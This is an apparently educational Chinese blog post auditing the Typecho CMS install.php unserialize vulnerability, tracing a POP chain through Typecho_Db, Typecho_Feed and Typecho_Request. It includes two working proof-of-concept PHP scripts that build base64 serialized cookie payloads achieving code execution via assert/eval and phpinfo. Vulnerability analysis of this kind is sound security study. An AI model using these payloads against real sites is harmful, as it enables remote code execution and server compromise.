PHP审计之PHP反序列化漏洞

前言

一直不懂,PHP反序列化感觉上比Java的反序列化难上不少。但归根结底还是serializeunserialize中的一些问题。

在此不做多的介绍。

魔术方法

在php的反序列化中会用到各种魔术方法

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,不仅仅是echo的时候,比如file_exists()判断也会触发
__invoke() //当脚本尝试将对象调用为函数时触发

代码审计

寻觅漏洞点

定位到漏洞代码install.php

 <?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
</form>
</div>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
</form>
</div>
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

前面的几个判断比较简单,判断finish传参的值是否存在,然后判断/config.inc.php文件是否存在,按照惯例,在php安装完成后,会建立一个标识文件,进行识别程序是否安装,避免重复安装问题。

后面代码即走到这一步

 <?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

接收Cookie中__typecho_config的值,进行base64解密后再反序列化的操作。将反序列化后的数据存到$config中,来到下面,清空cookie的值,然后实例化一个Typecho_Db对象,将$config['adapter']$config['prefix']进行存储到该对象中。

寻找POP链

这时候需要寻找一个pop链,在PHP中一般以__construct方法来做反序列化反序列化的第一个触发点,而在Java里面则是需要反序列化的该对象被重写后的readObject方法。

来看到Db.php文件

 public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName; /** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
} $this->_prefix = $prefix; /** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象
$this->_adapter = new $adapterName();
}

这里的$adapterName变量并且了一串Typecho_Db_Adapter_字符串,假设$adapterName为一个对象的话,即可触发到__toString()方法。

寻找__toString方法

Feed.php __toString方法代码

 foreach ($links as $link) {
$result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
} $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL; $result .= $content . '</rdf:RDF>'; } else if (self::RSS2 == $this->_type) {
...
}

self::RSS2 == $this->_type中比较是否对等,self::RSS2RSS 2.0字符串。

所以说需要走到这个判断条件下的逻辑在需要构造$this->_type这个数据。

            $content = '';
$lastUpdate = 0; foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
...
}

下面这里调用了$item['author']->screenName,如果 $item['author'] 中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法.

寻找__get方法

/var/Typecho/Request.php

public function __get($key)
{
return $this->get($key);
}

$key 传入的值为 scrrenName

 public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
} $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

$this->_params[$key]值存在,即将该值赋值给$value,然后判断该值不等于数组和小于0则数据不变。

然后调用$this->_applyFilter($value)

继续看到_applyFilter

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
} $this->_filter = array();
} return $value;
}

关键地方在于上面代码中,判断$this->_filter是否存在并且遍历filter,假设上面传入的$value为数组则调用array_map($filter, $value),否则则调用call_user_func($filter, $value)

这两个都回调方法都可以进行代码代码执行。

调用链:

Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter

构造POP链

来看看需要构造的数据

  1. Typecho_Db__construct 方法$adapterName变量需要为一个对象,并且是能触发到一个点的对象。根据上面寻找到的是Typecho_Feed这个实例化对象拼接字符串的话,会触发__toString 。因此这个方法的参数第一个传递Typecho_Feed,而第二个参数传递typecho_

  2. 上面分析Feed这个点的时候,需要将self::RSS2设置为RSS 2.0,这个$this->_items[author]传入一个不存在或者是方法为私有属性的screenName方法的类。这样可以去自动去调用__get。在上面寻找到的是Typecho_Request,所以这里传入一个Typecho_Request实例化对象。进行自动调用__get

  3. Typecho_Request198行中$this->_params[$key]这个key的值是scrrenName,即为$this->_params[scrrenName],则这个值需要设置为一个需要执行的代码。

  4. 最后走到_applyFilter这里遍历了$this->_filter后,进行调用array_mapcall_user_func,并且分别传入$filter, $value。那么这里即需要设置一个$this->_filter为一个代码执行的方法。那么即可把整一个链给到代码执行给串联起来。

调试POP链

但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.

install.php的开始,调用了ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。(因此可选择回调函数用于处理输出结果信息)

该函数可以让你自由地控制脚本中数据的输出。比如可以用在输出静态化页面上。而且,当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出,所以并不会有任何文件头输出的错误。

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

这里使用的是上面说的第二个办法。

<?php

	class Typecho_Feed{
private $_type;
private $_items = array(); public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
} class Typecho_Request{
private $_params = array();
private $_filter = array(); public function __construct(){
$this->_params = array(
"screenName" => "eval('phpinfo();exit;')",
);
$this->_filter = array("assert");
}
} $a = new Typecho_Feed(); $c = array(
"adapter" => $a,
"prefix" => "test",
); echo base64_encode(serialize($c));

另外一个方法,直接mark过来,POC如下:

<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
} class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat; public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request()); $this->_items[0] = $item;
}
} $x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

参考

[红日安全]代码审计Day11 - unserialize反序列化漏洞

Typecho-反序列化漏洞学习

Typecho 前台 getshell 漏洞分析

结尾

PHP的反序列化相当于Java的反序列化个人感觉PHP的反序列化比较灵活,可以结合各种魔术方法做联动。

PHP审计之PHP反序列化漏洞的更多相关文章

  1. PHP反序列化漏洞研究

    序列化 序列化说通俗点就是把一个对象变成可以传输的字符串 php serialize()函数 用于序列化对象或数组,并返回一个字符串.序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结 ...

  2. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

  3. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  4. Java审计之CMS中的那些反序列化漏洞

    Java审计之CMS中的那些反序列化漏洞 0x00 前言 过年这段时间比较无聊,找了一套源码审计了一下,发现几个有意思的点拿出来给分享一下. 0x01 XStream 反序列化漏洞 下载源码下来发现并 ...

  5. php代码审计9审计反序列化漏洞

    序列化与反序列化:序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化 漏洞成因:反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根 ...

  6. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  7. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  8. .NET高级代码审计(第五课) .NET Remoting反序列化漏洞

    0x00 前言 最近几天国外安全研究员Soroush Dalili (@irsdl)公布了.NET Remoting应用程序可能存在反序列化安全风险,当服务端使用HTTP信道中的SoapServerF ...

  9. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

随机推荐

  1. 简陋的Excel到MYSQL的数据传输JAVA实现

    实现从excel读取数据,使用的是jxl.jar(到处都有,请大家随意下载),其中封装好了通过excel提供的接口,对excel中的数据库进行读取的实现: 先为了熟悉其中的方法使用,做了以下的测试: ...

  2. 用Java8把List转为Map

    1 import com.yang.test.User; 2 3 import javax.jws.soap.SOAPBinding; 4 import java.util.*; 5 import j ...

  3. Linux基础——用户和用户组

    Linux基础--用户和用户组 一.用户和用户组 用户在/etc/passwd中 用户组在/etc/group/中注意:在创建用户时,系统默认生成一个用户组(组名和用户名一致) 1.用户 1.1查看用 ...

  4. Learning ROS: Recording and playing back data

    本文主要部分来源于ROS官网的Tutorials. Description: This tutorial will teach you how to record data from a runnin ...

  5. Spring BeanDefinition

    定义 /** * A BeanDefinition describes a bean instance, which has property values, * constructor argume ...

  6. 【SpringMVC】视图

    SpringMVC中的视图是View接口,视图的作用渲染数据,将模型Model中的数据展示给用户 SpringMVC视图的种类很多,默认有转发视图和重定向视图 当工程引入jstl的依赖,转发视图会自动 ...

  7. weblogic获取应用目录路径

    一.背景说明 在项目开发过程中,本地开发用的windows+tomcat,到了生产中,就成了linux+weblogic.部署工程后,应用报错,显示获取应用目录返回为null. 在网上查阅资料,发现在 ...

  8. msf宏钓鱼

    kali下载python脚本,生成rtf文件: 下载脚本:git clone https://github.com/bhdresh/CVE-2017-8759.git 生成rtf文件: python ...

  9. 迷你商城后端管理系统 ———— stage2 项目的核心代码实现

    应用程序主函数接口 @SpringBootApplication(scanBasePackages = {"org.linlinjava.litemall.db", "o ...

  10. PHP中的对象比较

    在之前的文章中,我们讲过PHP中比较数组的时候发生了什么?.这次,我们来讲讲在对象比较的时候PHP是怎样进行比较的. 首先,我们先根据PHP文档来定义对象比较的方式: 同一个类的实例,比较属性大小,根 ...